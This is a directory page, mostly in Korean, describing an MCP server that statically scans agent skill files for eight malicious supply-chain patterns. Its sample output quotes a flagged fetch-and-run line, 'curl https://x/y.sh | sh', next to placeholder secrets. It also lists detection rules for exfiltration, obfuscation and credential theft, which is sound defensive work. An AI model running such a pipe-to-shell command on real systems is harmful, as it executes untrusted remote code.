mcp-skill-sec
mcp-skill-sec
모든 에이전트 스킬, 시스템 프롬프트 또는 다운로드한 파일 모음을 악성 스킬 공급망 패턴 8가지에 대해 감사하는 Model Context Protocol (MCP) 서버입니다.
결정적이며, LLM이 없고, 네트워크 호출이 없습니다. Claude Code, Cursor, Copilot, OpenClaw, Codex CLI 및 모든 MCP 호환 에이전트에서 작동하는 자체 호스팅 가능한 사전 설치 스캐너입니다.
검사 대상 (규칙 R1–R8)
규칙 | 패턴 |
R1 | 프롬프트 인젝션 / 명령 탈취 ( |
R2 | 데이터 유출 의도 (콘텐츠를 URL로 전송/게시/이메일, 로그 탈취) |
R3 | 하드코딩된 비밀 / 자격 증명 (API 키, PAT, 개인 키, 연결 문자열) |
R4 | 위험한 명령 ( |
R5 | 난독화 / 숨은 동작 (base64-exec, eval/exec, 제로폭 문자) |
R6 | 신뢰할 수 없는 외부 가져오기 (fetch-and-run, PyPI 외 설치) |
R7 | 자격 증명 접근 ( |
R8 | 권한 상승 ( |
각 발견 항목은 severity(critical/high/medium/low), 줄 번호, 그리고 일치하는 증거 줄을 포함합니다. 전체 판정은 critical/high 발견 사항이 없고 모든 medium 발견 사항이 양호(benign)인 경우에만 PASS입니다.
Related MCP server: Heron
도구
audit_text(text, filename)— 문자열(당신에게 붙여넣어진 스킬, 당신이 작성하지 않은 시스템 프롬프트)을 감사합니다.audit_skill_file(path)— 디스크에 있는SKILL.md/AGENTS.md/CLAUDE.md를 감사하고, 줄 번호가 매겨진 증거를 반환합니다.audit_directory(path, pattern)— 다운로드한 전체 스킬 모음을 감사합니다. 파일별 판정과 요약을 반환합니다.rule_list()— 규칙 카탈로그를 출력합니다.
설치 및 실행
pip install mcp
mcp install mcp_server.py --name skill-sec # register with Claude Desktop
# or run manually over stdio:
python3 mcp_server.pyClaude Desktop / 에이전트 구성
{
"mcpServers": {
"skill-sec": {
"command": "python3",
"args": ["/absolute/path/to/mcp_server.py"]
}
}
}예시
skill-sec: /tmp/downloaded-skill/SKILL.md
verdict : FLAG
counts : critical 1, high 2, medium 1, low 0
R3 [critical] line 11: api_key = "sk-live-…"
R3 [high] line 14: password = "hunter2"
R4 [critical] line 22: curl https://x/y.sh | sh
action : remove the literal secrets, drop the fetch-and-run, re-audit라이선스 및 출처
MIT. sudo-ai-git 작성. 이것은 독립형 보안/검증 도구이며 독점적인 방법을 포함하지 않습니다. skill-sec 에이전트 스킬의 MCP 표현입니다(동일한 규칙을 스킬 대신 서버로 호출할 수 있습니다).
공식 MCP 레지스트리 메타데이터
mcp-name: io.github.sudo-ai-git/mcp-skill-sec
This server cannot be installed
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Related MCP Servers
- FlicenseNot gradedqualityBmaintenanceStatic security scanner for AI agent skill packages that detects malicious SKILL.md files and bundled scripts before they run.15
- AlicenseNot gradedqualityBmaintenanceSecurity scanning for AI agent skills, MCP servers, and agent prompts, returning signed trust scores and detailed findings.MIT
- AlicenseNot gradedqualityBmaintenanceProvides audit_plugin_health and prepare_semantic_review tools for deterministic inspection of Codex plugins and Agent Skills, generating evidence-backed reports without executing or transmitting target code.1MIT
- AlicenseNot gradedqualityDmaintenanceSecurity scanner for AI agent skills, providing tools to scan skill files for threats such as credential theft and prompt injection.MIT
Related MCP Connectors
Scan agent skills and MCP servers for malicious patterns before you load them
Scan GitHub-hosted AI skills for vulnerabilities: prompt injection, malware, OWASP LLM Top 10.
Read-only tools over the Safer Agentic AI framework: 238 patterns + 14 heuristics.
Latest Blog Posts
- Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)By Om-Shree-0709 on .mcpAgent IdentityOAuth 2.1
- Your AI Chatbot Just Exposed Your CEO's Salary to an InternBy Om-Shree-0709 on .Agent IdentityMCP SecurityOAuth Delegation
- Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)By Om-Shree-0709 on .Agentic AiPrompt InjectionWebAssembly
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/sudo-ai-git/mcp-skill-sec'
If you have feedback or need assistance with the MCP directory API, please join our Discord server